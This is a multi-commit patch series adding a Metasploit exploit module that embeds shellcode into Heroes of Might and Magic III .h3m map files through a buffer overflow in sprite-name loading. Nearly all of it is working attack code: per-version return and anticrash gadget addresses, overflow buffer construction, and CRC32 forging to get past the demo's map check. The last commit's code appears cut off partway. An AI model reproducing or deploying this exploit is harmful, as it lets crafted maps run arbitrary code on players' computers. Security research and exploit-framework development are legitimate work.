From 12a6bdb67b17d4db3287f1b665916210481d1278 Mon Sep 17 00:00:00 2001 From: aakerblom Date: Fri, 31 Jul 2015 02:06:47 -0700 Subject: [PATCH 1/9] Add Heroes of Might and Magic III .h3m map file Buffer Overflow module --- .../exploits/windows/fileformat/homm3_h3m.rb | 175 ++++++++++++++++++ 1 file changed, 175 insertions(+) create mode 100644 modules/exploits/windows/fileformat/homm3_h3m.rb diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb new file mode 100644 index 0000000000..ab5307e502 --- /dev/null +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -0,0 +1,175 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'enumerator' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Heroes of Might and Magic III .h3m Map file Buffer Overflow', + 'Description' => %q{ + This module embeds an exploit into an ucompressed map file (.h3m) for + Heroes of Might and Magic III. Once the map is started in-game, a + buffer overflow occuring when loading object sprite names leads to + shellcode execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pierre Lindblad', # Vulnerability discovery + 'John AAkerblom' # Vulnerability discovery, PoC and Metasploit module + ], + 'References' => + [ + [ 'EDB', '37716' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + 'H3 Complete 4.0.0.0 [Heroes3.exe 78956DFAB3EB8DDF29F6A84CF7AD01EE]', + { + 'Anticrash1' => 0x004497D4, + 'Anticrash2' => 0x006A6430, + 'Ret' => 0x004EFF87, # CALL [ESP] Heroes3.exe + } + ], + [ + 'HD Mod 3.808 build 9 [Heroes3 HD.exe 56614D31CC6F077C2D511E6AF5619280]', + { + 'Anticrash1' => 0x00456A48, + 'Anticrash2' => 0x006A6830, + 'Ret' => 0x00580C0F, # CALL [ESP] Heroes3 HD.exe + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 29 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', + [ + false, + 'If file exists, exploit will be embedded' \ + ' into it. If not, a new default h3m file where' \ + ' it will be embedded will be created.', + 'sploit.h3m' + ]) + ], self.class) + end + + def exploit + buf = '' + + # Load h3m into buffer from uncompressed .h3m on disk/default data + begin + buf << read_file(datastore['FILENAME']) + print_status('File ' + datastore['FILENAME'] + ' exists, will embed exploit if possible') + rescue + print_warning('File ' + datastore['FILENAME'] + ' does not exist, creating new file from ' \ + 'default .h3m data') + buf << make_default_h3m + end + + # Find the object attributes array in the file by searching for a sprite name that occurs + # as the first game object in all maps. + objects_pos = buf.index('AVWmrnd0.def') + if objects_pos.nil? + print_error('Failed to find game object section in file ' + datastore['FILENAME'] + \ + '. Make sure this file is an uncompressed .h3m (and has not yet had exploit embedded)') + return + end + + # Entries in the objects array start with a string size followed by game sprite name string + # Move back 4 bytes from the first sprite name to get to the start of the objects array + objects_pos -= 4 + + print_good('Found object attributes array in file at decimal offset ' + objects_pos.to_s) + + # Construct a malicious object entry with a big size, where the sprite name starts + # with a NULL terminator and 6 extra 0x00 bytes. The first 2 of those 6 can be anything, + # but certain values for the last 4 will cause the CALL-ESP gadget address to be overwritten. + # After the 7 0x00 bytes comes 121 bytes of random data and then the CALL ESP-gadget for + # overwriting the saved eip. Finally two "anticrash gadgets" that are used by the game before + # it returns to the CALL ESP-gadget are required for the game not to crash before returning. + size = 144 + payload.encoded.size + exp = '' + exp << [size].pack('V') + exp << "\x00" * 7 # The first byte terminates string, next 2 dont matter, last 4 need to be 0 + exp << rand_text(121) + exp << [target.ret].pack('V') + exp << [target['Anticrash1']].pack('V') + exp << [target['Anticrash2']].pack('V') + exp << payload.encoded + + # Embed malicious object entry. It is okay if we overwrite the rest of the file and extend buf + from = objects_pos + to = from + size + buf[from..to] = exp + print_good('Embedded exploit between decimal file offsets ' + from.to_s + ' and ' + to.to_s) + + # Write the uncompressed exploit .h3m (the game can load uncompressed .h3ms) + file_create(buf) + end + + def substring_pos(string, substring) + string.enum_for(:scan, substring).map { $~.offset(0)[0] } + end + + # + # Loads a file + # + def read_file(fname) + buf = '' + ::File.open(fname, 'rb') do |f| + buf << f.read + end + + buf + end + + # + # Returns data for a minimimum required S size h3m map containing 2 players + # + def make_default_h3m + buf = '' + + # Set map specifications to 36x36 (0x24000000) map with 2 players, with + # default/no settings for name, description, victory condition etc + buf << "\x0e\x00\x00\x00\x01\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + buf << "\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\xff\x01\x01\x00\x01\x00" + buf << "\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x8c" + buf << "\x00\x00\xff\x00\x00\x00\x00\xb1\x00\x00\xff\x00\x00\x00\x00\x00" + buf << "\x00\x00\xff\x00\x00\x00\x00\x7f\x00\x00\xff\x00\x00\x00\x00\x48" + buf << "\x00\x00\xff\xff\xff\x00" + buf << "\xFF" * 16 + buf << "\x00" * 35 + + # Each tile is 7 bytes, fill map with empty dirt tiles (0x00) + buf << "\x00" * (36 * 36 * 7) + + # Set object attribute array count to 1 + buf << "\x01\x00\x00\x00" + + # Size of first sprite name, this will be overwritten + buf << "\x12\x34\x56\x78" + + # Standard name for first object, which will be searched for + buf << 'AVWmrnd0.def' + + buf + end +end \ No newline at end of file From 013201bd99b01c91468710335c5ec1c83eb8a000 Mon Sep 17 00:00:00 2001 From: aakerblom Date: Fri, 31 Jul 2015 13:49:27 -0700 Subject: [PATCH 2/9] remove unneeded require --- modules/exploits/windows/fileformat/homm3_h3m.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index ab5307e502..4682a3d5bd 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -4,7 +4,6 @@ ## require 'msf/core' -require 'enumerator' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking From 6671df6672599275a60603f741409b6e21c82f27 Mon Sep 17 00:00:00 2001 From: aakerblom Date: Fri, 31 Jul 2015 13:53:56 -0700 Subject: [PATCH 3/9] add documentation --- .../exploits/windows/fileformat/homm3_h3m.rb | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index 4682a3d5bd..75b8facb0e 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -39,7 +39,32 @@ class Metasploit3 < Msf::Exploit::Remote [ 'H3 Complete 4.0.0.0 [Heroes3.exe 78956DFAB3EB8DDF29F6A84CF7AD01EE]', { + # Two "Anticrash"-gadgets are needed or the game will crash before ret + # + # Anticrash1, needs to pass the following code down to final JMP: + # MOV EAX, DWORD PTR DS : [ESI + 4] ; [anticrash_gadget1 + 4] + # XOR EBX, EBX + # CMP EAX, EBX + # JE SHORT ; JMP to crash if EAX is 0 + # MOV CL, BYTE PTR DS : [EAX - 1] + # CMP CL, BL + # JE SHORT ; JMP to crash if the byte before [EAX] is 0 + # CMP CL, 0FF + # JE SHORT ; JMP to crash if the byte before [EAX] is 0xFF + # CMP EDI, EBX + # JNE ; JMP to good spot. Always occurs if we get this far + # + # Summary: An address which when incremented by 4 and then dereferenced + # leads to for example a string which is preceeded neither by a 0x00 or 0xFF 'Anticrash1' => 0x004497D4, + # Anticrash2, needs to return out of the following call (tricky): + # + # MOV EAX, DWORD PTR DS : [ECX] ; [anticrash_gadget2] + # CALL DWORD PTR DS : [EAX + 4] ; [[anticrash_gadget2] + 4] + # + # Summary: An address which when dereferenced leads to an address that + # when incremented by 4 and then deferenced leads to a function returning + # without accessing any registers/memory that would cause a crash. 'Anticrash2' => 0x006A6430, 'Ret' => 0x004EFF87, # CALL [ESP] Heroes3.exe } From 6fdd2f91ceed21e481f9c278bee3a6778aa77d19 Mon Sep 17 00:00:00 2001 From: aakerblom Date: Fri, 31 Jul 2015 13:54:29 -0700 Subject: [PATCH 4/9] rescue only Errno::ENOENT --- modules/exploits/windows/fileformat/homm3_h3m.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index 75b8facb0e..bad1b3706e 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote begin buf << read_file(datastore['FILENAME']) print_status('File ' + datastore['FILENAME'] + ' exists, will embed exploit if possible') - rescue + rescue Errno::ENOENT print_warning('File ' + datastore['FILENAME'] + ' does not exist, creating new file from ' \ 'default .h3m data') buf << make_default_h3m From 66c92aae5df3d034d259ff72bd0f90c824cdcef3 Mon Sep 17 00:00:00 2001 From: aakerblom Date: Fri, 31 Jul 2015 17:12:50 -0700 Subject: [PATCH 5/9] fix documentation --- modules/exploits/windows/fileformat/homm3_h3m.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index bad1b3706e..c13eabeb0d 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote # when incremented by 4 and then deferenced leads to a function returning # without accessing any registers/memory that would cause a crash. 'Anticrash2' => 0x006A6430, - 'Ret' => 0x004EFF87, # CALL [ESP] Heroes3.exe + 'Ret' => 0x004EFF87, # CALL ESP Heroes3.exe } ], [ @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'Anticrash1' => 0x00456A48, 'Anticrash2' => 0x006A6830, - 'Ret' => 0x00580C0F, # CALL [ESP] Heroes3 HD.exe + 'Ret' => 0x00580C0F, # CALL ESP Heroes3 HD.exe } ] ], From 16042cd45b750d527e8b997c382fe334d6dfd21e Mon Sep 17 00:00:00 2001 From: aakerblom Date: Fri, 31 Jul 2015 18:16:15 -0700 Subject: [PATCH 6/9] fix variable names in comment --- modules/exploits/windows/fileformat/homm3_h3m.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index c13eabeb0d..e8423f3ad4 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote # Two "Anticrash"-gadgets are needed or the game will crash before ret # # Anticrash1, needs to pass the following code down to final JMP: - # MOV EAX, DWORD PTR DS : [ESI + 4] ; [anticrash_gadget1 + 4] + # MOV EAX, DWORD PTR DS : [ESI + 4] ; [Anticrash1 + 4] # XOR EBX, EBX # CMP EAX, EBX # JE SHORT ; JMP to crash if EAX is 0 @@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Anticrash1' => 0x004497D4, # Anticrash2, needs to return out of the following call (tricky): # - # MOV EAX, DWORD PTR DS : [ECX] ; [anticrash_gadget2] - # CALL DWORD PTR DS : [EAX + 4] ; [[anticrash_gadget2] + 4] + # MOV EAX, DWORD PTR DS : [ECX] ; [Anticrash2] + # CALL DWORD PTR DS : [EAX + 4] ; [[Anticrash2] + 4] # # Summary: An address which when dereferenced leads to an address that # when incremented by 4 and then deferenced leads to a function returning From 908d6f946ffb4abe875e17d26661f1b116ac2dc1 Mon Sep 17 00:00:00 2001 From: aakerblom Date: Fri, 31 Jul 2015 18:19:37 -0700 Subject: [PATCH 7/9] added target Heroes III Demo 1.0.0.0 --- .../exploits/windows/fileformat/homm3_h3m.rb | 27 +++++++++++++++++-- 1 file changed, 25 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index e8423f3ad4..cc15e90741 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -67,6 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote # without accessing any registers/memory that would cause a crash. 'Anticrash2' => 0x006A6430, 'Ret' => 0x004EFF87, # CALL ESP Heroes3.exe + 'Padding' => 121 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip } ], [ @@ -75,6 +76,28 @@ class Metasploit3 < Msf::Exploit::Remote 'Anticrash1' => 0x00456A48, 'Anticrash2' => 0x006A6830, 'Ret' => 0x00580C0F, # CALL ESP Heroes3 HD.exe + 'Padding' => 121 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip + } + ], + [ + # Note that the demo version can normally only load the map it comes with, so + # additional code not covered by this module is needed to fool the size/checksum check + # or a modified h3demo.exe has to be run. Additionally, an error Message Box appears + # for this target, and the overflow occurs when OK is pressed + 'Heroes III Demo 1.0.0.0 [h3demo.exe 522B6F45F534058D02A561838559B1F4]', + { + # The two anticrash gadgets are accessed in reverse order for this target, + # meaning that the documentation above for Anticrash1 applies to Anticrash2 + # here. However, Anticrash1 here is accessed differently than the other targets. + # Anticrash1, needs to pass the following code: + # CMP BYTE PTR SS:[EBP+5C], 72 ; [Anticrash1 + 0x5C] + # JNE 00591F37 + # MOV EAX,DWORD PTR SS:[EBP+38] ; [Anticrash1 + 0x38] + 'Anticrash1' => 0x00580C0F, # Coincidentally the Ret value from HD Mod target + # Anticrash2, see documentation for Anticrash1 (not 2) in H3 Complete 4.0.0.0 target + 'Anticrash2' => 0x001899A8, + 'Ret' => 0x0043EAB1, # CALL ESP h3demo.exe + 'Padding' => 109 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip } ] ], @@ -129,11 +152,11 @@ class Metasploit3 < Msf::Exploit::Remote # After the 7 0x00 bytes comes 121 bytes of random data and then the CALL ESP-gadget for # overwriting the saved eip. Finally two "anticrash gadgets" that are used by the game before # it returns to the CALL ESP-gadget are required for the game not to crash before returning. - size = 144 + payload.encoded.size + size = 7 + target['Padding'] + 4 + 4 + 4 + payload.encoded.size exp = '' exp << [size].pack('V') exp << "\x00" * 7 # The first byte terminates string, next 2 dont matter, last 4 need to be 0 - exp << rand_text(121) + exp << rand_text(target['Padding']) exp << [target.ret].pack('V') exp << [target['Anticrash1']].pack('V') exp << [target['Anticrash2']].pack('V') From 7af83a112db7a318525e3aca61bfacad0b91d5cb Mon Sep 17 00:00:00 2001 From: aakerblom Date: Sat, 1 Aug 2015 04:52:50 -0700 Subject: [PATCH 8/9] fix unreliable address --- modules/exploits/windows/fileformat/homm3_h3m.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index cc15e90741..f19a908bbf 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote # MOV EAX,DWORD PTR SS:[EBP+38] ; [Anticrash1 + 0x38] 'Anticrash1' => 0x00580C0F, # Coincidentally the Ret value from HD Mod target # Anticrash2, see documentation for Anticrash1 (not 2) in H3 Complete 4.0.0.0 target - 'Anticrash2' => 0x001899A8, + 'Anticrash2' => 0x005CE200, 'Ret' => 0x0043EAB1, # CALL ESP h3demo.exe 'Padding' => 109 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip } From 7c5e5f0f2243644cb2c22263025fd1c635b8a3d6 Mon Sep 17 00:00:00 2001 From: aakerblom Date: Sat, 1 Aug 2015 04:53:49 -0700 Subject: [PATCH 9/9] add crc32 forging for Heroes III demo target --- .../exploits/windows/fileformat/homm3_h3m.rb | 109 +++++++++++++++++- 1 file changed, 104 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index f19a908bbf..b2a98e1245 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking @@ -80,10 +81,6 @@ class Metasploit3 < Msf::Exploit::Remote } ], [ - # Note that the demo version can normally only load the map it comes with, so - # additional code not covered by this module is needed to fool the size/checksum check - # or a modified h3demo.exe has to be run. Additionally, an error Message Box appears - # for this target, and the overflow occurs when OK is pressed 'Heroes III Demo 1.0.0.0 [h3demo.exe 522B6F45F534058D02A561838559B1F4]', { # The two anticrash gadgets are accessed in reverse order for this target, @@ -97,7 +94,8 @@ class Metasploit3 < Msf::Exploit::Remote # Anticrash2, see documentation for Anticrash1 (not 2) in H3 Complete 4.0.0.0 target 'Anticrash2' => 0x005CE200, 'Ret' => 0x0043EAB1, # CALL ESP h3demo.exe - 'Padding' => 109 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip + 'Padding' => 109, # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip + 'CRC32' => 0xFEEFB9EB } ] ], @@ -168,6 +166,17 @@ class Metasploit3 < Msf::Exploit::Remote buf[from..to] = exp print_good('Embedded exploit between decimal file offsets ' + from.to_s + ' and ' + to.to_s) + # Demo version has a crc32 check to disallow other maps than the one it comes with. + if target['CRC32'] + buf = forge_crc32(buf, target['CRC32']) + if Zlib.crc32(buf) == target['CRC32'] + print_good('Forged CRC32 to 0x%08X by adding 4 bytes at end of file' % target['CRC32']) + else + print_error('Failed to forge CRC32') + return + end + end + # Write the uncompressed exploit .h3m (the game can load uncompressed .h3ms) file_create(buf) end @@ -219,4 +228,94 @@ class Metasploit3 < Msf::Exploit::Remote buf end + + # + # Forge crc32 by adding 4 bytes at the end of data + # http://blog.stalkr.net/2011/03/crc-32-forging.html + # + def forge_crc32(data, wanted_crc) + crc32_reverse = [ + 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, + 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, + 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, + 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, + 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, + 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, + 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, + 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, + 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, + 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, + 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, + 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, + 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, + 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, + 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, + 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, + 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, + 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, + 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, + 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, + 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, + 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, + 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, + 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, + 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, + 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, + 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, + 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, + 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, + 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, + 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, + 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, + 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, + 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, + 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, + 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, + 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, + 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, + 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, + 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, + 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, + 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, + 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, + 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, + 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, + 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, + 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, + 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, + 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, + 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, + 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, + 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, + 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, + 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, + 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, + 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, + 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, + 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, + 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, + 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, + 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, + 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, + 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, + 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 + ] + + # forward calculation of CRC up to pos, sets current forward CRC state + fwd_crc = 0xffffffff + data.each_byte do |c| + fwd_crc = (fwd_crc >> 8) ^ Zlib.crc_table[(fwd_crc ^ c) & 0xff] + end + + # backward calculation of CRC up to pos, sets wanted backward CRC state + bkd_crc = wanted_crc ^ 0xffffffff + + # deduce the 4 bytes we need to insert + [fwd_crc].pack('> 24] ^ c + end + + res = data + [bkd_crc].pack('